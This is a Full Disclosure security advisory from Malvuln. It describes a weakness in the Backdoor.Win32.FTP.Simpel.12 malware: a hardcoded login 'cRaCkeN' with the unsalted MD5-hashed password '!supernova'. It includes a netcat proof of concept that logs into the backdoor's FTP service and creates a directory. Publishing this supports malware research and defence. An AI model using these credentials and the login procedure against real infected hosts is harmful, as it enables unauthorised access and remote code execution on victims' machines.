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Date: Mon, 27 Dec 2021 21:21:20 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.FTP.Simpel.12 / Insecure Crypto

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/1d12f9b921b38d7b521f12442bdd52d8_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Insecure Crypto
Description: The malware listens on TCP port 22, authentication is required
to access the server. However, the password hash "!supernova" is stored
within the executable using an insecure MD5 hash algorithm and no salt. MD5
is a basic purpose fast hash (not slow) and not using salt allows attackers
that gain access to the hash ability to conduct faster cracking attacks
using pre-computed dictionaries. Finally, the password is easily recovered
as it is a known password hash which can be found online. Third-party
intruders who successfully gain access then may be able to upload
executables which may result in remote code execution.

E.g.

Name=cRaCkeN
Pass=E13820BEDF2B31E01B2C7E59404B1FB7 = !supernova

Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0433
Disclosure: 12/27/2021

Exploit/PoC:
nc64.exe x.x.x.x 22

USER cRaCkeN

331 Password required for cRaCkeN.

PASS !supernova

230-                                [LOGIN]

230-                                [SYSTEM]

230-

230-    Aktiv seit            : 1 d, 7 h, 41 min, 57 sec

230-

230-                                [SERVER]

230-

230-    Server ist aktiv seit : 28 min, 44 sec

230-    Server ist aktiv als  : Victim

230-    Traffic (Up/Down)     :        0.00/0.00        MB

230-    Geschw. (Up/Down)     :     0/0     KB/sec.
230-    Bester Speed (Up/Down):     0/0     KB/sec.

230-    Durchschnitsspeed     : 0     KB/sec. genutzt.
 ││
230- ││ SpaceFree             :   26197.29 MB
││
230- ││ Benutzer derzeit      :   1 von Max. 100
 ││
230- ││                                                                   ││
230-
│├──────────────────────────────[USER]───────────────────────────────┤│

230- ││
││
230- ││ Willkommen            : cRaCkeN

230-    Sie sind User         :   0 von max.   0 mit ihrem Account

230-    Ratio                 : 1:-1 (Credits:     15 MB)

230-    Ihre IP ist           : 192.168.18.130

230-

230-

230-

230 User cRaCkeN logged in.
SYST

215 215 UNIX Type: L8
MKD HATE

257 Directory created


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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